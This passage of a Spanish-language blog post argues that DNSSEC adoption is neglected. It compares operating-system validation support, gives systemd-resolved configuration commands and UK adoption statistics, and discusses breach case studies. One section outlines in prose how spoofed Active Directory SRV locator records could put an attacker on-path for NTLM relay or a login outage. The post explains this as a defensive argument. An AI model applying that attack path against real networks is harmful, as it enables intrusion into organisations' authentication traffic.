falsifica la consulta de validación, consigue que te emitan el certificado, y ya tienes papel válido para un nombre que no es tuyo. DNSSEC es una de las pocas cosas que hacen eso materialmente más difícil, y la gente a la que más protegería no lo ha desplegado.\nY esto te lo digo gratis. Si tu modelo de negocio es la identidad, y no has firmado tu propia zona, el argumento de que es difícil no está a tu disposición.\n¿Y quién está comprobando de verdad? Firmar es solo la mitad. Una zona firmada no protege a nadie si no hay algo al otro extremo que verifique la firma, y aquí el cuadro empeora en vez de mejorar.\nHay dos sitios donde puede ocurrir la validación, y no son equivalentes:\nValidar en el resolver deja un salto sin autenticar. Validar en el dispositivo no DOS SITIOS DONDE SE PUEDE COMPROBAR LA PRUEBA, Y NO SON LO MISMO Validación en el resolver tu aplicación se cree el bit un bit AD sin autenticar el resolver comprueba las firmas cadena verificada la zona firmada RRSIG y DS Recibes el veredicto, no la prueba, cruzando el único salto del que todo este ejercicio existe para desconfiar. Validación en el dispositivo tu aplicación las comprueba ella misma cadena verificada de punta a punta, donde se usa la respuesta la zona firmada RRSIG y DS Nada de en medio puede mentirte, porque a nada de en medio se le está preguntando. Casi toda la validación del mundo es la de arriba. Windows no puede hacer la de abajo con ningún ajuste. Uno de estos te da un veredicto. El otro te da la prueba Casi toda la validación del mundo es de la primera clase. Google, Cloudflare y Quad9 validan todos, y entre ellos cubren un número enorme de usuarios. Eso cuenta para algo. Pero significa que la propiedad que tiene la mayoría es mi resolver dice que esto estaba bien.\nQué puede hacer cada sistema operativo Valida en el dispositivo Por defecto Cómo se consigue Linux con systemd-resolved Sí, del todo apagado una línea en un drop-in Linux con un unbound o knot-resolver local Sí, del todo n/a instálalo, apunta el stub hacia él FreeBSD con local_unbound Sí, del todo apagado service local_unbound onestart macOS Ventura y posteriores, iOS 16 y posteriores Sí apagado por aplicación o por petición, en código macOS e iOS anteriores solo API apagado kDNSServiceFlagsValidate, la aplicación tiene que pedirlo Android la plataforma no lo ofrece n/a una biblioteca de terceros, en tu propia aplicación Fisher-Price OS (Windows) No. No puede n/a no disponible a ningún precio Dos de esos merecen más que una fila.\nApple hizo el trabajo sin ruido. iOS 16 y macOS Ventura añadieron validación DNSSEC del lado del cliente, en palabras de la propia Apple en la WWDC 2022: «iOS 16 and macOS Ventura now support client side DNSSEC validation», validación DNSSEC en el propio cliente.10 Es opcional en vez de automática, y es opcional con la granularidad correcta, así que una aplicación a la que le importe puede pedirla por sesión o por petición:\nlet configuration = URLSessionConfiguration.default configuration.requiresDNSSECValidation = true Un resolver validador de verdad en un teléfono, comprobando firmas en el dispositivo, y casi nadie se dio cuenta de que llegaba. Antes de eso, mDNSResponder exponía kDNSServiceFlagsValidate para quien quisiera usar la API de C.\nAndroid no lo ofrece. El resolver de DNS es un módulo actualizable desde Android 10 y ganó DNS sobre TLS en Android 9, así que la plataforma no ha estado parada en materia de DNS. Pero ni la documentación del resolver de AOSP ni la API pública DnsResolver documentan validación DNSSEC, y la razón de que existan bibliotecas como MiniDNS y anuncien que acercan «DNSSEC close to your application» es que la plataforma no lo trae. No pude encontrar una fuente primaria que dijera sin rodeos que es imposible, así que no lo pondré más alto que esto: no se ofrece, y lo estarías escribiendo tú.\nY se tira incluso donde funciona Una cosa más, de esta máquina, que no esperaba encontrar.\nEl resolver de upstream de aquí valida y lo dice. systemd-resolved, con DNSSEC=no, tira eso a la basura antes de que lo vea ninguna aplicación:\n# ---- before: stock Fedora, DNSSEC=no ---------------------------------- $ dig @192.0.2.53 damiendye.uk A | grep flags # the upstream ;; flags: qr rd ra ad $ dig @127.0.0.53 damiendye.uk A | grep flags # the local stub ;; flags: qr rd ra # ---- the fix: two lines in a drop-in ---------------------------------- $ sudo mkdir -p /etc/systemd/resolved.conf.d $ printf \u0026#39;[Resolve]\\nDNSSEC=allow-downgrade\\n\u0026#39; \\ | sudo tee /etc/systemd/resolved.conf.d/10-dnssec.conf $ sudo systemctl restart systemd-resolved # ---- after: same query, same stub, nothing else changed --------------- $ resolvectl status | grep -m1 DNSSEC= DNSSEC=allow-downgrade/supported $ dig @127.0.0.53 damiendye.uk A | grep flags ;; flags: qr rd ra ad Mismo nombre, misma respuesta, mismo segundo. Antes del drop-in el upstream hacía el trabajo, ponía el bit AD, y el demonio local lo dejaba caer al suelo, así que el valor por defecto no es simplemente aquí no validamos, es aquí no validamos, y tampoco vamos a pasarte el veredicto de nadie que sí lo haya hecho. Después, el bit ha vuelto y esta vez es nuestro en vez de la afirmación de otro.\nresolvectl pone el veredicto en palabras, y separa los dos que importan:\n$ resolvectl query damiendye.uk | tail -2 -- Data is authenticated: yes; Data was acquired via local or encrypted transport: no $ resolvectl query ncsc.gov.uk | tail -2 -- Data is authenticated: no; Data was acquired via local or encrypted transport: no Fíjate en lo que no es la segunda. No es un error. Una zona sin firmar vuelve como no autenticada en vez de como bogus, la resolución tiene éxito, y no se queja nadie en ninguna parte. Ese es el problema entero del 1,63 % dicho como un comando: activar la validación no hace que las zonas sin firmar fallen, las hace visibles, y solo para quien vaya a mirar.\nEl sistema operativo cliente más grande falla la comprobación más básica Ahora el otro extremo de la escala, y no está ni cerca.\nEl cliente DNS de Windows es, en descripción de la propia Microsoft, «security-aware» pero «non-validating»: consciente de la seguridad, pero sin validar nada. No realiza validación DNSSEC. No se le puede hacer realizarla. Lo que hace en su lugar es pedirle a su servidor DNS configurado que valide, y luego buscar el bit AD en la respuesta.11\nTres cosas sobre eso, y ninguna es pequeña:\nNunca comprueba una firma. La garantía más fuerte disponible para el mayor sistema operativo cliente del mundo es un único bit puesto por la máquina que respondiera. Ni siquiera hace eso por defecto. El cliente solo pone el bit DO y exige AD para los espacios de nombres listados en la Name Resolution Policy Table, un objeto de directiva de grupo que alguien tiene que configurar a propósito. Sin ninguna regla dentro, la consulta no lleva expectativa DNSSEC ninguna. Microsoft dice que el bit necesita IPsec para significar algo. Su documentación es explícita en que, como el cliente no valida y se apoya en el servidor, «IPsec is used to establish this trust relationship», se usa IPsec para establecer esa relación de confianza. Un bit AD que llega por un enlace no autenticado es una afirmación de quien llegó primero, que es exactamente el ataque para el que existe toda esta tecnología. Así que en el escritorio con la mayor base instalada, tal cual sale de la caja: sin validación, sin exigencia de AD y sin canal autenticado hacia el resolver. La comprobación más básica no está meramente apagada. Nunca se implementó.\nY la defensa habitual, la de que los sistemas operativos cliente sencillamente no hacen esta clase de cosas, se murió en 2022. Apple llevó la validación en el dispositivo a cada iPhone y cada Mac el mismo año en que Microsoft no lo hizo. La comparación ya no es escritorio contra servidor, ni móvil contra fijo. Es un fabricante que lo construyó contra otro que no.\nEso importa más que la misma carencia en Linux, por a quién afecta. Un servidor Linux lo lleva normalmente alguien que podría activar la validación esta tarde y sabe lo que es un registro DS. Las máquinas que no pueden validar en absoluto, con ningún ajuste, son las que están sentadas en las mesas de las organizaciones cuyas zonas salen sin firmar en las tablas de arriba. systemd-resolved trae la capacidad apagada, que es una decisión que puedes revertir en una línea.12 El Fisher-Price OS (Windows) se entrega sin la capacidad.\nEl servicio que se sostiene con DNS Todo lo anterior han sido nombres en la internet pública. El mismo agujero existe dentro del edificio, y ahí dentro aguanta carga.\nActive Directory no tiene dirección fija para nada. Una máquina unida al dominio no sabe dónde vive su controlador de dominio, así que le pregunta al DNS. El proceso localizador consulta _ldap._tcp.dc._msdcs.\u0026lt;domain\u0026gt; para los controladores y _kerberos._tcp para el KDC, y contra lo que vuelva es contra lo que va a autenticarse.13\ndig +short _ldap._tcp.dc._msdcs.corp.example SRV Falsifica esa respuesta y la máquina lleva su tráfico de autenticación a un host que elegiste tú. Sé claro con lo que eso es y lo que no: Kerberos no le va a dar un ticket a un impostor que no tenga las claves, así que esto no es una toma del dominio por sí solo. Es una posición en el camino, que es de lo que están hechos los ataques interesantes. Fuerza la caída a NTLM y retransmítelo. Siéntate en medio del tráfico que iba a ir a un controlador. O apunta el parque entero a ninguna parte y mira cómo se paran los inicios de sesión.\nUn registro localizador falsificado no entrega el dominio, pone al atacante en el camino ¿DÓNDE ESTÁ MI CONTROLADOR DE DOMINIO? LA RESPUESTA ES SOLO UN REGISTRO DNS Zona `_msdcs` sin firmar servidor miembro _ldap._tcp.dc SRV gana la primera respuesta un host que eligieron ya está en el camino caída a NTLM, relay, o nadie entra Kerberos no le dará tickets a un impostor, así que esto no es una toma del dominio. Es una posición. Zona firmada, cliente validador servidor miembro comprueba la firma falsificación descartada tu controlador la respuesta firmada Rechazada antes de que nada intente autenticarse. Windows Server puede firmar esta zona, y puede desde 2012. El cliente que la lee sigue sin poder validar. No es una toma del dominio. Es una posición en el camino, que es sobre lo que se construye el resto Las directivas de grupo, los scripts de inicio de sesión, las unidades de red y todas las confianzas aguas abajo del inicio de sesión se encuentran igual. Es el conjunto de nombres de más valor que tienen la mayoría de las organizaciones, y está ahí sentado sin firmar.\nMicrosoft construyó la mitad servidora del arreglo, y la construyó bien. Una zona integrada en AD se puede firmar, la firma en línea de zonas dinámicas llegó en Windows Server 2012, y como la zona vive en el directorio, las claves de firma privadas se replican a los demás servidores DNS por la propia replicación de AD.14 La parte genuinamente incómoda de DNSSEC, llevar las claves a las máquinas que las necesitan, se resolvió aquí hace catorce años con lo mismo por lo que la zona ya se replicaba.\nLuego se para en los mismos dos sitios que todo lo demás:\nLas dos mitades Qué entregó Microsoft Qué te llega de serie Firmar la zona _msdcs firma en línea de zonas dinámicas integradas en AD, claves replicadas por el propio AD nada, hasta que un administrador la firme Comprobar la firma el cliente sin validación de la sección anterior una regla en la tabla de políticas más IPsec, o el bit no significa nada Así que la zona interna que decide qué máquina va a ser tu controlador de dominio está, en la mayoría de los parques, tan sin firmar como la pública. La diferencia es que ningún extraño puede contarla, así que no hay tabla en esta entrada avergonzando a nadie. Ve a mirar la tuya antes de dar nada por hecho.\nEsto debería hacerlo el sistema operativo, y debería venir encendido Lo que me lleva a la parte de esto que quiero argumentar en vez de contar.\nValidar una respuesta DNS es trabajo del sistema operativo. Está en la misma clase de tarea que mantener el reloj en hora, llevar un almacén de certificados de confianza y tener una pila TLS, y por las mismas razones: toda aplicación lo necesita, casi ninguna debería estar escribiéndolo, y la comprobación tiene que ocurrir una vez, en un sitio donde se pueda hacer bien. Esa discusión la zanjamos para los certificados hace mucho. Nadie entrega un cliente de correo con su propia opinión privada sobre las CA raíz.\nTres de las cuatro plataformas de arriba ya pueden hacerlo. Ninguna lo hace de serie:\n$ grep DNSSEC= /usr/lib/systemd/resolved.conf # Fedora 44, systemd 259.9 #DNSSEC=no Ese es el valor por defecto compilado, escrito comentado para que un administrador pueda ver cuál es. El propio manual de systemd tiene otra opinión, y recomienda allow-downgrade en general y true allá donde se pueda confiar en el upstream.15 El código se entrega, el ancla de confianza de la raíz se entrega, y la documentación se entrega recomendando que lo actives. El valor por defecto sigue diciendo que no.\nPlataforma Quién tiene que actuar antes de que se compruebe una firma systemd-resolved un administrador, una vez, en un fichero drop-in macOS 13 y posteriores, iOS 16 y posteriores el autor de cada una de las aplicaciones Android el autor de cada aplicación, con una biblioteca de terceros Windows no puede nadie Esa columna es el problema entero. Un requisito es una palanca, y la cuenta de .bank de más arriba enseña lo que hace. Un valor por defecto es la misma palanca sin que nadie tenga que hacer cumplir nada, porque decide el resultado para todo el que nunca abre el fichero de configuración, que es casi todo el mundo. Lo opcional nos dio un 1,63 % en el gobierno y un 13 % en la banca. La gente no se apunta a una seguridad que no ve, y tener razón sobre la tecnología no ha cambiado eso ni una sola vez.\nLa objeción honesta es que validar por defecto rompe a los usuarios cuando lo roto es el resolver de upstream y no la zona. Para eso está allow-downgrade, y es un compromiso de verdad y no uno gratis, porque una degradación es algo que un atacante puede provocar a propósito. Aun así, entregar allow-downgrade en vez de un no a secas sería una mejora enorme, y pondría la rotura donde le toca, sobre quien siga llevando en 2026 un resolver incapaz de manejar DNSSEC.\nActivar la validación, y qué parte es de Fedora Casi todo lo que sigue es de systemd y no de Fedora, y funciona igual en Debian, Ubuntu o Arch. Dos cosas de aquí sí son genuinamente de la distribución:\nsystemd de upstream Fedora 44, tal como se instala default-dnssec compilado allow-downgrade no Fichero principal de configuración /usr/lib/systemd/resolved.conf, con cada valor por defecto comentado como referencia además entrega /etc/systemd/resolved.conf con Cache=yes, que lo sustituye Upstream elige allow-downgrade en meson_options.txt, que es el ajuste de compromiso, no el valiente.16 Fedora lo compila a no y luego entrega un segundo fichero principal de configuración, y como solo se usa el primer fichero encontrado, el que documenta los valores por defecto ya no es el que está en vigor.15 Así que no edites ninguno de los dos. La copia del fabricante es del paquete y una actualización te devolverá tu cambio a la cara; la copia de /etc es un fichero cuyas demás líneas están calladamente ausentes.\nUsa un drop-in en su lugar, que es lo que hace el bloque de más arriba. Sobrescribe al fichero principal que haya ganado, sobrevive a las actualizaciones de paquetes y contiene solo lo que cambiaste. Comprueba el resultado con systemd-analyze cat-config systemd/resolved.conf, que imprime cada fichero en el orden en que se aplica y zanja qué ganó de verdad.\nTres ajustes, y la elección entre los dos últimos es real:\nDNSSEC= Qué hace Qué te cuesta no no valida nada, y además tira el veredicto del upstream la falsificación llega en silencio, como hoy allow-downgrade valida, y se retira cuando el upstream no puede con ello un atacante puede provocar esa retirada a propósito yes valida, punto, sin vuelta atrás tus nombres se van con el upstream el día que se rompa Empieza en allow-downgrade, porque así un resolver roto no te cuesta nada. Pasa a yes cuando resolvectl status lleve quince días diciendo supported y sepas qué es tu upstream en realidad. El detalle por distribución para todo lo que no sea Fedora está en la entrada sobre resolved.12\nEntonces, ¿qué está frenando a la gente de verdad? Bien. Los números son los números. ¿Por qué?\nSe dan cuatro razones, y no todas son basura.\nLa razón Cuánto tiene de real La gestión de claves es difícil Lo fue. Hoy la automatiza en gran parte el proveedor de DNS Puede sacar tu dominio de internet Cierto, y es la razón de verdad El soporte de registradores y proveedores es irregular Resuelto en gran parte, y fácil de comprobar antes de comprometerte Ningún beneficio visible, ningún palo normativo Cierto, y probablemente decisivo La gestión de claves fue un obstáculo genuino y en su mayoría ya no lo es. Firmar solía significar llevar tus propias ceremonias de claves, acordarte de volver a firmar antes de que caducaran las firmas, y rotar claves a mano con un calendario que tenías que seguir tú. Ese trabajo lo hace hoy el proveedor de DNS en la mayoría de las plataformas gestionadas, y firmar es un interruptor. No es gratis, pero ya no es un proyecto.\nEl modo de fallo es la objeción honesta, y es la única de las cuatro con la que tengo simpatía de verdad. Haz mal DNSSEC y tu dominio no se degrada, desaparece. Cada resolver validador rechaza tus registros, que es lo que se supone que debe hacer, y a la gente que no puede alcanzarte no puedes decirle por qué, porque decírselo requiere DNS.\nTres cosas lo hacen peor que una caída corriente:\nFalla por reloj, no por un cambio. Las firmas llevan caducidad. Una zona que nadie ha tocado desde el martes puede haber desaparecido el domingo porque un trabajo de refirmado dejó de ejecutarse en silencio. Falla para unos y no para otros. Solo te rechazan los resolvers validadores. Tu propia monitorización, si no valida, informará de que el sitio está perfectamente sano mientras una fracción creciente de internet no puede alcanzarte. Falla en la capa que usas para arreglar cosas. El acceso remoto, tu página de estado y tu propio correo pueden estar todos bajo el nombre que acaba de desaparecer. Ese miedo es racional, ha dejado fuera de antena a operadores grandes, y cualquier defensa honesta de DNSSEC tiene que convivir con él en vez de espantarlo con la mano.\nPero fíjate en su forma: es miedo a una disciplina operativa que no tienes ahora mismo, no miedo a la tecnología.\nSin firmar falla calladamente sobre tus usuarios. Mal configurada falla a gritos sobre ti DOS MANERAS DE QUE ESTO SALGA MAL, Y SOLO SE HABLA DE UNA Sin firmar Una respuesta falsificada se cree sin más. Nada lo registra. Nada alerta. Dura lo que diga el TTL del atacante. Tu monitorización sigue en verde. El coste cae sobre quien se creyó la respuesta. No sobre ti. Firmada, y rota El dominio desaparece del todo. Falla por reloj, no por un cambio. Solo para resolvers validadores, así que tus comprobaciones pueden ir bien. El coste cae sobre ti, a gritos, con tu nombre en el incidente. Por eso el segundo consigue un caso de negocio y el primero no. A nadie se le culpa nunca de un ataque que nunca se detectó. Sin firmar falla calladamente, sobre tus usuarios. Mal configurado falla a gritos, sobre ti Y fíjate en quién paga en cada columna. Una zona sin firmar que sufre una falsificación les cuesta a tus clientes, en silencio, y nadie abre nunca un incidente porque nadie se entera nunca. Una zona firmada que caduca te cuesta a ti, de inmediato, en público, con tu nombre en el postmortem. Los dos son fallos. Solo uno de ellos aparece en los objetivos de alguien.\nLos certificados tuvieron el mismo problema y lo resolvieron por partida doble: se hizo visible el fallo, y luego se automatizó. Un aviso del navegador convirtió un certificado caducado en problema de todos, la monitorización vino detrás, y luego Let\u0026rsquo;s Encrypt convirtió la renovación en algo que hace un cron a las tres de la mañana. Nada de eso hizo los certificados más fáciles en principio. Hizo más difícil olvidarlos.\nEl soporte del proveedor merece diez minutos de comprobación en vez de darlo por supuesto. Algunos registradores todavía hacen que publicar un DS sea un ticket de soporte. Muchos no.\nY la última es la respuesta de verdad, que el registro .bank ya demostró más arriba en esta entrada. No hay candado de navegador para DNSSEC. Ningún cliente ha elegido jamás un banco porque su zona estuviera firmada, ningún auditor te suspende por ello, y ninguna normativa general del Reino Unido lo exige. El beneficio es completamente invisible cuando funciona, el coste de equivocarse es una caída con tu nombre encima, y quien carga con esa caída no es quien se llevaría el mérito.\nPonles un requisito y una comprobación anual delante a esas mismas instituciones y el cumplimiento pasa del 13 % a todas y cada una. Nada de la tecnología cambió entre esos dos números. Nada de los presupuestos, los proveedores o las habilidades cambió tampoco. La única variable fue si alguien iba a mirar.\nCon esos incentivos, lo sorprendente no es que esté firmado el 1,63 % de los dominios del gobierno. Es que lo estén treinta y nueve.\nActivarlo sin quedarte fuera de antena Todo el riesgo está en un solo sitio, así que pon el esfuerzo ahí. La caducidad de las firmas es el fallo que llega sin que nadie haya tocado nada, así que ponle alarma:\ndig +dnssec damiendye.uk SOA | awk \u0026#39;/RRSIG/ {print \u0026#34;sig expires\u0026#34;, $9}\u0026#39; Trátalo como un certificado. Vigila la fecha, alarma bastante antes, y haz que la renovación sea automática para que la alarma sea una red de seguridad y no un flujo de trabajo.\nLuego actívalo en un momento tranquilo, sobre algo que no sea tu dominio principal, y déjalo quince días antes de hacer el que importa. Si tu DNS está en una plataforma gestionada, la firma en sí es muy probablemente un interruptor, y el único paso genuinamente manual es depositar el DS en tu registrador.\n¿Es este el mismo fracaso que el de IPv6? Es la comparación obvia, así que medí los dos estándares en las mismas poblaciones el mismo día. Las mismas organizaciones, la misma gente, dos decisiones.\nn Firmado con DNSSEC Alcanzable por IPv6 Bancos y sociedades hipotecarias del Reino Unido 98 13,3 % 36,7 % Distribuciones de Linux y BSD 96 19,8 % 67,7 % Todos los dominios gov.uk vivos 2.380 1,6 % 31,2 % La migración difícil le gana a la fácil, tres a uno y diecinueve a uno LAS MISMAS ORGANIZACIONES, LOS DOS ESTÁNDARES, EL MISMO DÍA firmado con DNSSEC alcanzable por IPv6 Bancos del Reino Unido 98 probados 13,3 % 36,7 % Linux y BSD 96 probadas 19,8 % 67,7 % Todos los gov.uk vivos 2.380 dominios 1,6 % 31,2 % IPv6 toca cada router y cada host. DNSSEC es un registro en tu registrador. Las mismas organizaciones, los dos estándares, medidos el mismo día Diecinueve veces más avanzado en el gobierno, sobre los mismos dominios.\nAhora párate en cuál es cuál. IPv6 toca cada router, cada host y cada aplicación, y quiere doble pila corriendo en paralelo durante años. Firmar con DNSSEC es un interruptor y un registro pegado en tu registrador.\nEl trabajo mucho más difícil le está ganando al fácil en todas partes donde miré. Lo que descarta la explicación cómoda de que así es como van los estándares de infraestructura, despacio y a regañadientes. DNSSEC no se mueve despacio. No se mueve.\nUna diferencia le pertenece solo a DNSSEC. Despliega IPv6 y recibes algo: alcanzabilidad, ningún NAT de operador que comprar. Firma tu zona y tú personalmente no recibes nada. La protección cae sobre tus usuarios, y solo sobre los que están detrás de un resolver validador. Asumes un riesgo permanente de caída en nombre de gente a la que nunca conocerás, y eso es más difícil de poner delante de un consejo que cualquier obstáculo técnico de esta entrada.\nHe escrito la mitad de IPv6 de este argumento en otro sitio y no la voy a repetir aquí.17\n¿Será que seguimos sin entender el DNS? Cuarenta y dos años desde que Mockapetris lo puso por escrito en noviembre de 1983.18 Dieciséis desde que se firmó la raíz.\nCreo que el problema de comprensión es real, y creo que es más específico que el de que la gente no sepa cómo funciona el DNS. Muchos ingenieros competentes saben describir la recursión, la delegación y el cacheo perfectamente. Lo que falta es un paso más allá, y es el paso que importa.\nCasi nadie ha interiorizado que el DNS es un sistema de autorización.\nSe le trata como fontanería. Una tabla de consulta. Algo que convierte nombres en números y pertenece a quien lleve la red, archivado mentalmente al lado del DHCP. Y ese marco está mal de una manera que decide calladamente muchísimo, porque en la práctica la respuesta DNS es lo que decide a qué máquina va tu tráfico, de qué servidor vienen tus actualizaciones, y qué host cree una autoridad de certificación que es el tuyo. Quien controla la respuesta controla las tres cosas.\nSe ve el malentendido en el patrón de quién ha firmado. Ni presupuesto, ni habilidad tampoco, y cuando lo alineas cuesta leerlo como otra cosa que un patrón de lo que cada uno cree que es el DNS:\nQuién ha firmado Qué es el DNS para ellos Entidades de registro y operadores de TLD, el 100 % de los gTLD el producto en sí Un servicio de inteligencia una superficie de ataque, porque su modelo de amenaza incluye la falsificación Nueve juntas parroquiales un interruptor que les ofreció su proveedor y que alguien accionó Los clientes de un proveedor de DNS un valor por defecto que heredaron Quién no ha firmado Bancos, ministerios, fabricantes, CA fontanería, y un nivel por debajo de los problemas interesantes La gente más cercana al DNS como cosa en sí ha firmado toda. La gente que lo consume como un suministro no, casi sin excepción, por bien dotada de recursos que esté y por muy consciente de la seguridad que se crea. El GCHQ no ha firmado. Ocho de nueve autoridades de certificación no han firmado. Estas no son organizaciones escasas de gente lista ni de modelos de amenaza.\nPor eso también la respuesta de 2008 a Kaminsky fue hacer la adivinanza más difícil en vez de terminar de desplegar la cosa que hace irrelevante adivinar. Hacer la adivinanza más difícil es un arreglo de fontanería, y la fontanería es donde la industria tenía archivado el DNS.\nUna generación aprendió el DNS como un directorio, y nunca revisó la entrada cuando calladamente se convirtió en lo que decide con quién estás hablando.\nLo construimos y luego lo dejamos ahí Las entidades de registro, los operadores y la gente de los estándares hicieron la parte difícil. Lo escribieron, lo discutieron en el IETF durante una década, firmaron la raíz en una ceremonia con testigos, y consiguieron que estuviera firmado el 100 % de los dominios genéricos de primer nivel. Eso es una pieza genuina de ingeniería colectiva y está terminada.\nY luego los demás no hicimos nuestra parte, porque nuestra parte es aburrida, invisible, carga con todo el perjuicio personal y con nada del mérito, y no la comprueba nadie.\nEsa es la forma de todo estándar que nadie hace cumplir: el coste se carga en solitario, y el beneficio solo aparece cuando lo han cargado bastantes más. Así que las entidades de registro lo cargaron, y la gente que publica la guía sobre cargarlo no.\nSalvo que el trabajo aquí era más pequeño que casi ninguno de ellos. La cadena ya estaba construida, y pagada, por otro. Lo único que quedaba era un registro.\nY si esta es la parte que podemos ver Un último pensamiento, y quiero dejar claro que es una inferencia y no una medición, porque todo lo demás en esta entrada está contado y esto no.\nDNSSEC es más o menos el control de seguridad más fácil de evaluar que existe. No cuesta nada, el trabajo es una tarde, el estándar lleva veinte años terminado, y cualquiera puede comprobarlo desde fuera con un comando sin pedir permiso. Sin auditoría, sin cuestionario, sin acuerdo de confidencialidad. Un dig.\nEntonces, ¿qué te dice un 1,6 % sobre los controles que no se pueden ver desde aquí fuera?\nEl control ¿Puede comprobarlo alguien de fuera? ¿Cuesta dinero? ¿Se ve cuando funciona? Un registro DS en tu registrador Sí, un comando no no MFA en las cuentas que importan no sí no Copias de seguridad restauradas este año, no solo hechas no sí no Segmentación de red no sí no Cada fila por debajo de la primera es más difícil que firmar una zona, cuesta dinero de verdad, necesita que alguien la haga suya, y comparte la propiedad exacta que hundió a DNSSEC: invisible cuando funciona, y nadie de fuera comprobándola. Lo único que separa la fila de arriba del resto es que puedes comprobarla, gratis, sobre cualquiera, ahora mismo.\nSi una organización no ha hecho la cosa gratis que lleva una tarde y que un desconocido puede verificar con un comando, no me inclino a suponer que haya hecho las cosas caras que llevan un programa entero y que solo puede verificar alguien a quien dejen entrar.\nAhora, el movimiento obvio es contrastar eso con el historial de brechas, y lo intenté. De 23 organizaciones del Reino Unido con incidentes graves documentados, 22 están sin firmar.\nEse número no demuestra nada y no voy a fingir lo contrario. Con una tasa base del 1,6 %, una organización firmada en una lista de 23 es exactamente lo que predice el azar. Peor todavía, el conjunto firmado son nueve juntas parroquiales y tres parques nacionales mientras que el conjunto sin firmar son todos los ministerios grandes y todas las ciudades grandes, así que el tamaño manda tanto sobre a quién atacan como sobre quién acaba en las noticias. Cualquier comparación de tasas de brecha entre los dos grupos estaría midiendo lo grande que es una organización, no si firmó.\nAsí que no, no puedo enseñarte que las organizaciones firmadas sufran menos brechas. No puede nadie, no con datos que cualquiera pueda conseguir, y quien te diga otra cosa te está tomando el pelo.\nLas organizaciones a las que les dieron escribieron qué falló No necesitas mi inferencia, porque lo publicaron ellas mismas, y lo que falló es la lista de arriba.\nLa British Library es la mejor de todas, porque lo escribió voluntariamente y con detalle tras su ataque de ransomware de 2023. Su propia revisión nombra las causas: entrada muy probablemente por una cuenta de terceros en un servidor de Terminal Services sin autenticación multifactor, luego infraestructura heredada y segmentación de red limitada que dejaron a los atacantes moverse por el parque, con la creciente complejidad del acceso de terceros señalada internamente como riesgo en 2022 y todavía ahí un año después.19 La ICO llegó a las mismas conclusiones.20\nTres filas de la tabla de arriba, entonces, confirmadas desde dentro por la propia organización en vez de inferidas por mí desde aquí fuera.\nY antes de que nadie use eso como palo, la British Library merece lo contrario, y voy a ser enfático sobre por qué.\nFueron abiertos. Casi nadie más lo es. No tenían ninguna obligación de escribir ni una palabra de aquello. El manual estándar tras un incidente es decir lo mínimo que permita la ley, pasarlo por un equipo de comunicación, negarse a confirmar nada concreto y esperar a que el ciclo de noticias siga adelante. Eso es lo que han hecho la mayoría de las organizaciones de las columnas sin firmar de arriba cuando les tocó, y por eso escribir esta sección siquiera depende de la decisión de una institución de comportarse de otra manera.\nEn su lugar publicaron una revisión de dieciocho páginas nombrando sus propios fallos, en público, para que otras instituciones pudieran aprender de ellos. Ese es el comportamiento que querrías de cada organización de esta entrada y que consigues de casi ninguna. La razón por la que puedo enseñarte qué falla de verdad dentro de una organización con una brecha es que la British Library decidió contártelo.\nY hay una segunda razón por la que el resto se calla, que es peor que una estrategia de comunicación. Algunas ya no están.\nKNP Logistics llevaba moviendo mercancía como Knights of Old desde 1865. En junio de 2023 el grupo Akira entró, cifró la empresa y pidió unos cinco millones de libras. Para septiembre el grupo era insolvente y 730 personas estaban sin trabajo.21 Ciento cincuenta y ocho años, fuera en catorce semanas, y nadie de allí está escribiendo lecciones para ti.\nAsí que cuando las columnas sin firmar de arriba parecen tranquilas, esa tranquilidad está hecha de tres cosas distintas: organizaciones a las que todavía no les han dado, organizaciones a las que les dieron y dijeron lo mínimo que permite la ley, y organizaciones a las que les dieron y ya no están. Solo al primer grupo le queda tiempo para actuar.\nLo que convierte lo que viene ahora en la prueba honesta de mi propio argumento en vez de en un golpe barato. Comprobé su zona:\n$ dig +short bl.uk DS (nothing) $ dig +short bl.uk DNSKEY (nothing) bl.uk está sin firmar. britishlibrary.co.uk también. Dos años después de un ataque de ransomware que cerró la institución durante meses, después de una revisión pública, después de un dictamen de la ICO y después de la ronda de atención a la seguridad más exhaustiva que recibe nunca ninguna organización, el control gratis que lleva una tarde y que un desconocido puede verificar con un comando sigue sin estar hecho.\nNo lo leo como negligencia, y no creo que los haga peores que las organizaciones sin firmar que no han publicado nada. Lo leo como la prueba más fuerte de esta entrada sobre aquello de lo que ha ido todo esto. Si DNSSEC no se hace aquí, en una organización que ha pasado por el fuego, ha escrito las lecciones y ha tenido al regulador repasándolo todo, entonces no se está saltando porque la gente sea descuidada. Se salta porque nada ni nadie lo pone nunca en la lista.\nEsa es la versión honesta del argumento. No las zonas sin firmar causan brechas, que es indemostrable y probablemente falso. Más bien: los controles que nadie de fuera puede ver están, según la evidencia publicada por las organizaciones que han pasado por ello, tan descuidados como el único control que todo el mundo de fuera puede ver. DNSSEC no es la causa. Es la muestra que te dejan tomar.\nQue es por lo que la medición merece la pena siquiera. No porque una zona sin firmar sea el fin del mundo por sí sola, sino porque es una de las poquísimas propiedades de seguridad que alguien de fuera puede comprobar honestamente, gratis, sobre cualquiera, sin que le dejen entrar. Trátalo como un detector de humo y no como un veredicto, y luego ve a hacerle las preguntas difíciles a quien lo haga saltar.\nLa única parte que controlas Lo que deja la única parte que cualquiera de nosotros controla de verdad. Tu propia zona. No la del NCSC, ni la de Microsoft, ni la de tu banco.\nVe y pregúntale a tu padre si responde por ti:\ndig +short yourdomain.uk DS Si eso vuelve vacío, no estás firmado, y en la mayoría del DNS gestionado de 2026 el arreglo es un interruptor y un registro DS en tu registrador. Actívalo, y luego vigila la caducidad igual que ya vigilas tus certificados, porque esa es la disciplina que la cosa necesita de verdad.\nEse es el trabajo entero. Un registro, y una fecha en tu monitorización.\nAsí que, por favor, haz al menos esta. No porque venga un regulador, porque para la mayoría de vosotros no viene, y no porque nadie os vaya a dar las gracias, porque no las van a dar. Hazlo porque no viene nadie, y un estándar que mantienes cuando nadie comprueba es el único tipo de estándar que valió algo alguna vez.\nTreinta y nueve secretarios de junta parroquial y un espía lo consiguieron. Espabila y ponte a ello.\nRFC 4033 — «DNS Security Introduction and Requirements», Arends et al., marzo de 2005. La especificación DNSSEC vigente, junto a RFC 4034 y RFC 4035.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nIANA root trust anchors — el XML que publica la IANA. El primer resumen de clave lleva validFrom=\u0026quot;2010-07-15\u0026quot;, la fecha en que se firmó la raíz; la KSK actual, etiqueta de clave 20326, lleva 